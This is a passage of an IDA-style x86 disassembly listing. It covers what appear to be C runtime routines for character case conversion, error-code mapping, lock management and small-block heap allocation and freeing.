		sub	esp, 18h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_18]
		call	sub_402ADF
		mov	ebx, [ebp+arg_0]
		mov	esi, 100h
		cmp	ebx, esi
		jnb	short loc_405A7D
		mov	ecx, [ebp+var_18]
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_405A49
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		push	ebx
		call	sub_40CDF4
		mov	ecx, [ebp+var_18]
		add	esp, 0Ch
		jmp	short loc_405A56
; ---------------------------------------------------------------------------

loc_405A49:				; CODE XREF: sub_405A0A+29j
		mov	eax, [ecx+0C8h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 1

loc_405A56:				; CODE XREF: sub_405A0A+3Dj
		test	eax, eax
		jz	short loc_405A69
		mov	eax, [ecx+0CCh]
		movzx	eax, byte ptr [eax+ebx]
		jmp	loc_405B10
; ---------------------------------------------------------------------------

loc_405A69:				; CODE XREF: sub_405A0A+4Ej
					; sub_405A0A+EAj
		cmp	[ebp+var_C], 0
		jz	short loc_405A76
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_405A76:				; CODE XREF: sub_405A0A+63j
		mov	eax, ebx
		jmp	loc_405B1D
; ---------------------------------------------------------------------------

loc_405A7D:				; CODE XREF: sub_405A0A+1Dj
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_405ABA
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_40CDB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_405ABA
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_4], al
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		pop	ecx
		jmp	short loc_405ACF
; ---------------------------------------------------------------------------

loc_405ABA:				; CODE XREF: sub_405A0A+7Dj
					; sub_405A0A+9Cj
		call	sub_405B83
		mov	dword ptr [eax], 2Ah
		xor	ecx, ecx
		mov	[ebp+var_4], bl
		mov	[ebp+var_3], 0
		inc	ecx

loc_405ACF:				; CODE XREF: sub_405A0A+AEj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+4]
		lea	edx, [ebp+var_8]
		push	3
		push	edx
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C6A9
		add	esp, 24h
		test	eax, eax
		jz	loc_405A69
		cmp	eax, 1
		jnz	short loc_405B05
		movzx	eax, [ebp+var_8]
		jmp	short loc_405B10
; ---------------------------------------------------------------------------

loc_405B05:				; CODE XREF: sub_405A0A+F3j
		movzx	ecx, [ebp+var_7]
		xor	eax, eax
		mov	ah, [ebp+var_8]
		or	eax, ecx

loc_405B10:				; CODE XREF: sub_405A0A+5Aj
					; sub_405A0A+F9j
		cmp	[ebp+var_C], 0
		jz	short loc_405B1D
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_405B1D:				; CODE XREF: sub_405A0A+6Ej
					; sub_405A0A+10Aj
		pop	esi
		pop	ebx
		leave
		retn
sub_405A0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B21	proc near		; CODE XREF: sub_410C6D+19p
					; sub_410C6D+36p

arg_0		= dword	ptr  4

		cmp	dword_427820, 0
		jnz	short loc_405B3A
		mov	eax, [esp+arg_0]
		lea	ecx, [eax-41h]
		cmp	ecx, 19h
		ja	short locret_405B47
		add	eax, 20h
		retn
; ---------------------------------------------------------------------------

loc_405B3A:				; CODE XREF: sub_405B21+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_405A0A
		pop	ecx
		pop	ecx

locret_405B47:				; CODE XREF: sub_405B21+13j
		retn
sub_405B21	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B48	proc near		; CODE XREF: sub_4039C3+80p
					; sub_405BA9+Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_405B4E:				; CODE XREF: sub_405B48+13j
		cmp	eax, dword_423690[ecx*8]
		jz	short loc_405B69
		inc	ecx
		cmp	ecx, 2Dh
		jl	short loc_405B4E
		lea	ecx, [eax-13h]
		cmp	ecx, 11h
		ja	short loc_405B71
		push	0Dh
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_405B69:				; CODE XREF: sub_405B48+Dj
		mov	eax, dword_423694[ecx*8]
		retn
; ---------------------------------------------------------------------------

loc_405B71:				; CODE XREF: sub_405B48+1Bj
		add	eax, 0FFFFFF44h
		push	0Eh
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		and	eax, ecx
		add	eax, 8
		retn
sub_405B48	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B83	proc near		; CODE XREF: sub_402B96+19p
					; sub_402B96+4Fp ...
		call	sub_4056CA
		test	eax, eax
		jnz	short loc_405B92
		mov	eax, offset dword_4237F8
		retn
; ---------------------------------------------------------------------------

loc_405B92:				; CODE XREF: sub_405B83+7j
		add	eax, 8
		retn
sub_405B83	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B96	proc near		; CODE XREF: sub_405BA9+1p
					; sub_408E91+14p ...
		call	sub_4056CA
		test	eax, eax
		jnz	short loc_405BA5
		mov	eax, offset dword_4237FC
		retn
; ---------------------------------------------------------------------------

loc_405BA5:				; CODE XREF: sub_405B96+7j
		add	eax, 0Ch
		retn
sub_405B96	endp


; =============== S U B	R O U T	I N E =======================================



sub_405BA9	proc near		; CODE XREF: sub_408DFD+84p
					; sub_40A15D+3FBp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_405B96
		mov	ecx, [esp+4+arg_0]
		push	ecx
		mov	[eax], ecx
		call	sub_405B48
		pop	ecx
		mov	esi, eax
		call	sub_405B83
		mov	[eax], esi
		pop	esi
		retn
sub_405BA9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BD0	proc near		; CODE XREF: sub_402CB9+9Ap
					; sub_402DA9+42j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	short loc_405C2A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]

loc_405BEC:				; CODE XREF: sub_405BD0+49j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_405C1B
		or	al, al
		jz	short loc_405C1B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_405C08
		cmp	ah, bl
		ja	short loc_405C08
		add	ah, dh

loc_405C08:				; CODE XREF: sub_405BD0+30j
					; sub_405BD0+34j
		cmp	al, bh
		jb	short loc_405C12
		cmp	al, bl
		ja	short loc_405C12
		add	al, dh

loc_405C12:				; CODE XREF: sub_405BD0+3Aj
					; sub_405BD0+3Ej
		cmp	ah, al
		jnz	short loc_405C21
		sub	ecx, 1
		jnz	short loc_405BEC

loc_405C1B:				; CODE XREF: sub_405BD0+22j
					; sub_405BD0+26j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_405C2A

loc_405C21:				; CODE XREF: sub_405BD0+44j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_405C2A
		neg	ecx

loc_405C2A:				; CODE XREF: sub_405BD0+Bj
					; sub_405BD0+4Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_405BD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C31	proc near		; CODE XREF: sub_405886+10Cp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_427858

loc_405C3A:				; CODE XREF: sub_405C31+35j
		cmp	dword_423804[esi*8], 1
		jnz	short loc_405C62
		lea	eax, ds:423800h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_40CEC4
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_405C6E

loc_405C62:				; CODE XREF: sub_405C31+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_405C3A
		xor	eax, eax
		inc	eax

loc_405C6B:				; CODE XREF: sub_405C31+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_405C6E:				; CODE XREF: sub_405C31+2Fj
		and	off_423800[esi*8], 0
		xor	eax, eax
		jmp	short loc_405C6B
sub_405C31	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C7A	proc near		; CODE XREF: sub_4055D9:loc_405611j
		push	ebx
		mov	ebx, ds:off_41D16C
		push	esi
		mov	esi, offset off_423800
		push	edi

loc_405C88:				; CODE XREF: sub_405C7A+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_405CA1
		cmp	dword ptr [esi+4], 1
		jz	short loc_405CA1
		push	edi
		call	ebx ; sub_4462E1
		push	edi
		call	sub_4039C3
		and	dword ptr [esi], 0
		pop	ecx

loc_405CA1:				; CODE XREF: sub_405C7A+12j
					; sub_405C7A+18j
		add	esi, 8
		cmp	esi, offset dword_423920
		jl	short loc_405C88
		mov	esi, offset off_423800
		pop	edi

loc_405CB2:				; CODE XREF: sub_405C7A+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_405CC1
		cmp	dword ptr [esi+4], 1
		jnz	short loc_405CC1
		push	eax
		call	ebx ; sub_4462E1

loc_405CC1:				; CODE XREF: sub_405C7A+3Cj
					; sub_405C7A+42j
		add	esi, 8
		cmp	esi, offset dword_423920
		jl	short loc_405CB2
		pop	esi
		pop	ebx
		retn
sub_405C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CCF	proc near		; CODE XREF: sub_402E9F+2p
					; sub_403A19+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_423800[eax*8]
		call	ds:dword_41D168	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_405CCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CE4	proc near		; CODE XREF: sub_405DA7+14p
					; sub_408851+4Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_4217E8
		call	__SEH_prolog4
		xor	edi, edi
		inc	edi
		mov	[ebp+var_1C], edi
		xor	ebx, ebx
		cmp	dword_4279A8, ebx
		jnz	short loc_405D18
		call	sub_40A004
		push	1Eh
		call	sub_409E64
		push	0FFh
		call	sub_407C57
		pop	ecx
		pop	ecx

loc_405D18:				; CODE XREF: sub_405CE4+1Aj
		mov	esi, [ebp+arg_0]
		lea	esi, ds:423800h[esi*8]
		cmp	[esi], ebx
		jz	short loc_405D2A
		mov	eax, edi
		jmp	short loc_405D98
; ---------------------------------------------------------------------------

loc_405D2A:				; CODE XREF: sub_405CE4+40j
		push	18h
		call	sub_407AEA
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_405D47
		call	sub_405B83
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_405D98
; ---------------------------------------------------------------------------

loc_405D47:				; CODE XREF: sub_405CE4+52j
		push	0Ah
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_405D82
		push	0FA0h
		push	edi
		call	sub_40CEC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405D7E
		push	edi
		call	sub_4039C3
		pop	ecx
		call	sub_405B83
		mov	dword ptr [eax], 0Ch
		mov	[ebp+var_1C], ebx
		jmp	short loc_405D89
; ---------------------------------------------------------------------------

loc_405D7E:				; CODE XREF: sub_405CE4+81j
		mov	[esi], edi
		jmp	short loc_405D89
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_405CE4+70j
		push	edi
		call	sub_4039C3
		pop	ecx

loc_405D89:				; CODE XREF: sub_405CE4+98j
					; sub_405CE4+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_405D9E
		mov	eax, [ebp+var_1C]

loc_405D98:				; CODE XREF: sub_405CE4+44j
					; sub_405CE4+61j
		call	__SEH_epilog4
		retn
sub_405CE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D9E	proc near		; CODE XREF: sub_405CE4+ACp
					; DATA XREF: c.7ld2ih:00421800o
		push	0Ah
		call	sub_405CCF
		pop	ecx
		retn
sub_405D9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DA7	proc near		; CODE XREF: sub_402E05+44p
					; sub_4039C3+1Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:423800h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_405DCD
		push	eax
		call	sub_405CE4
		test	eax, eax
		pop	ecx
		jnz	short loc_405DCD
		push	11h
		call	sub_407C0D
		pop	ecx

loc_405DCD:				; CODE XREF: sub_405DA7+11j
					; sub_405DA7+1Cj
		push	dword ptr [esi]
		call	ds:dword_41D164	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_405DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DD8	proc near		; CODE XREF: sub_405E33:loc_405E56p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_4]
		xor	esi, esi
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		call	sub_407CB6
		test	eax, eax
		pop	ecx
		jz	short loc_405E01
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_405E01:				; CODE XREF: sub_405DD8+1Aj
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407CED
		test	eax, eax
		pop	ecx
		jz	short loc_405E1C
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_405E1C:				; CODE XREF: sub_405DD8+35j
		cmp	[ebp+var_4], 2
		pop	esi
		jnz	short loc_405E2E
		cmp	[ebp+var_8], 5
		jb	short loc_405E2E
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405E2E:				; CODE XREF: sub_405DD8+49j
					; sub_405DD8+4Fj
		push	3
		pop	eax
		leave
		retn
sub_405DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E33	proc near		; CODE XREF: .text:004043C3p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_41D15C	; HeapCreate
		test	eax, eax
		mov	dword_4279A8, eax
		jnz	short loc_405E56

loc_405E53:				; CODE XREF: sub_405E33+54j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_405E56:				; CODE XREF: sub_405E33+1Ej
		call	sub_405DD8
		cmp	eax, 3
		mov	dword_436854, eax
		jnz	short loc_405E89
		push	3F8h
		call	sub_405E8D
		test	eax, eax
		pop	ecx
		jnz	short loc_405E89
		push	dword_4279A8
		call	ds:off_41D160
		and	dword_4279A8, 0
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E89:				; CODE XREF: sub_405E33+30j
					; sub_405E33+3Fj
		xor	eax, eax
		inc	eax
		retn
sub_405E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E8D	proc near		; CODE XREF: sub_405E33+37p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4279A8
		call	ds:dword_41D110	; RtlAllocateHeap
		test	eax, eax
		mov	dword_436840, eax
		jnz	short loc_405EAA
		retn
; ---------------------------------------------------------------------------

loc_405EAA:				; CODE XREF: sub_405E8D+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4279AC, 0
		and	dword_43683C, 0
		mov	dword_436848, eax
		xor	eax, eax
		mov	dword_436844, ecx
		mov	dword_43684C, 10h
		inc	eax
		retn
sub_405E8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_405ED5	proc near		; CODE XREF: sub_402E05+4Ep
					; sub_4039C3+29p ...

arg_0		= dword	ptr  4

		mov	ecx, dword_43683C
		mov	eax, dword_436840
		imul	ecx, 14h
		add	ecx, eax
		jmp	short loc_405EF9
; ---------------------------------------------------------------------------

loc_405EE7:				; CODE XREF: sub_405ED5+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_405EFF
		add	eax, 14h

loc_405EF9:				; CODE XREF: sub_405ED5+10j
		cmp	eax, ecx
		jb	short loc_405EE7
		xor	eax, eax

locret_405EFF:				; CODE XREF: sub_405ED5+1Fj
		retn
sub_405ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F00	proc near		; CODE XREF: sub_4039C3+38p
					; sub_40DE1D+B5p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_406210
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_405FCB
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_405F63
		push	3Fh
		pop	edx

loc_405F63:				; CODE XREF: sub_405F00+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_405FAD
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_405F8E
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_405FAA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_405FAA
; ---------------------------------------------------------------------------

loc_405F8E:				; CODE XREF: sub_405F00+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_405FAA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_405FAA:				; CODE XREF: sub_405F00+85j
					; sub_405F00+8Cj ...
		mov	ebx, [ebp+arg_4]

loc_405FAD:				; CODE XREF: sub_405F00+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx

loc_405FCB:				; CODE XREF: sub_405F00+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_405FD9
		push	3Fh
		pop	edx

loc_405FD9:				; CODE XREF: sub_405F00+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_406077
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_405FFE
		mov	ebx, esi

loc_405FFE:				; CODE XREF: sub_405F00+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_406010
		mov	edx, esi

loc_406010:				; CODE XREF: sub_405F00+10Cj
		cmp	ebx, edx
		jz	short loc_406072
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_40605A
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_406040
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40605A
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_40605A
; ---------------------------------------------------------------------------

loc_406040:				; CODE XREF: sub_405F00+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40605A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_40605A:				; CODE XREF: sub_405F00+11Dj
					; sub_405F00+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_406072:				; CODE XREF: sub_405F00+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_40607A
; ---------------------------------------------------------------------------

loc_406077:				; CODE XREF: sub_405F00+E2j
		mov	ebx, [ebp+arg_0]

loc_40607A:				; CODE XREF: sub_405F00+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_406088
		cmp	ebx, edx
		jz	loc_406108

loc_406088:				; CODE XREF: sub_405F00+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_406108
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_4060DF
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4060CE
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_4060CE:				; CODE XREF: sub_405F00+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_406108
; ---------------------------------------------------------------------------

loc_4060DF:				; CODE XREF: sub_405F00+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4060F5
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_4060F5:				; CODE XREF: sub_405F00+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_406108:				; CODE XREF: sub_405F00+182j
					; sub_405F00+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_40620F
		mov	eax, dword_4279AC
		test	eax, eax
		jz	loc_406201
		mov	ecx, dword_436850
		mov	esi, ds:off_41D158
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi ; sub_43D531
		mov	ecx, dword_436850
		mov	eax, dword_4279AC
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4279AC
		mov	eax, [eax+10h]
		mov	ecx, dword_436850
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4279AC
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4279AC
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_406196
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4279AC

loc_406196:				; CODE XREF: sub_405F00+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_406201
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; sub_43D531
		mov	eax, dword_4279AC
		push	dword ptr [eax+10h]
		push	0
		push	dword_4279A8
		call	ds:dword_41D108	; RtlFreeHeap
		mov	ecx, dword_43683C
		mov	eax, dword_4279AC
		imul	ecx, 14h
		mov	edx, dword_436840
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_407720
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_43683C
		cmp	eax, dword_4279AC
		jbe	short loc_4061F7
		sub	[ebp+arg_0], 14h

loc_4061F7:				; CODE XREF: sub_405F00+2F1j
		mov	eax, dword_436840
		mov	dword_436848, eax

loc_406201:				; CODE XREF: sub_405F00+223j
					; sub_405F00+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_4279AC, eax
		mov	dword_436850, edi

loc_40620F:				; CODE XREF: sub_405F00+216j
		pop	ebx

loc_406210:				; CODE XREF: sub_405F00+37j
		pop	edi
		pop	esi
		leave
		retn
sub_405F00	endp


; =============== S U B	R O U T	I N E =======================================



sub_406214	proc near		; CODE XREF: sub_4066A9+C0p
		mov	eax, dword_43684C
		push	esi
		mov	esi, dword_43683C
		push	edi
		xor	edi, edi
		cmp	esi, eax
		jnz	short loc_40625B
		add	eax, 10h
		imul	eax, 14h
		push	eax
		push	dword_436840
		push	edi
		push	dword_4279A8
		call	ds:off_41D150
		cmp	eax, edi
		jnz	short loc_406249

loc_406245:				; CODE XREF: sub_406214+68j
					; sub_406214+94j
		xor	eax, eax
		jmp	short loc_4062C1
; ---------------------------------------------------------------------------

loc_406249:				; CODE XREF: sub_406214+2Fj
		add	dword_43684C, 10h
		mov	esi, dword_43683C
		mov	dword_436840, eax

loc_40625B:				; CODE XREF: sub_406214+11j
		imul	esi, 14h
		add	esi, dword_436840
		push	41C4h
		push	8
		push	dword_4279A8
		call	ds:dword_41D110	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_406245
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:off_41D154
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4062AA
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4279A8
		call	ds:dword_41D108	; RtlFreeHeap
		jmp	short loc_406245
; ---------------------------------------------------------------------------

loc_4062AA:				; CODE XREF: sub_406214+82j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_43683C
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_4062C1:				; CODE XREF: sub_406214+33j
		pop	edi
		pop	esi
		retn
sub_406214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062C4	proc near		; CODE XREF: sub_4066A9+D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_4062DC
; ---------------------------------------------------------------------------

loc_4062D9:				; CODE XREF: sub_4062C4+1Aj
		add	eax, eax
		inc	ebx

loc_4062DC:				; CODE XREF: sub_4062C4+13j
		test	eax, eax
		jge	short loc_4062D9
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx

loc_4062F5:				; CODE XREF: sub_4062C4+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4062F5
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:off_41D154
		test	eax, eax
		jnz	short loc_406328
		or	eax, 0FFFFFFFFh
		jmp	loc_4063C5
; ---------------------------------------------------------------------------

loc_406328:				; CODE XREF: sub_4062C4+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_406378
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx

loc_406340:				; CODE XREF: sub_4062C4+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
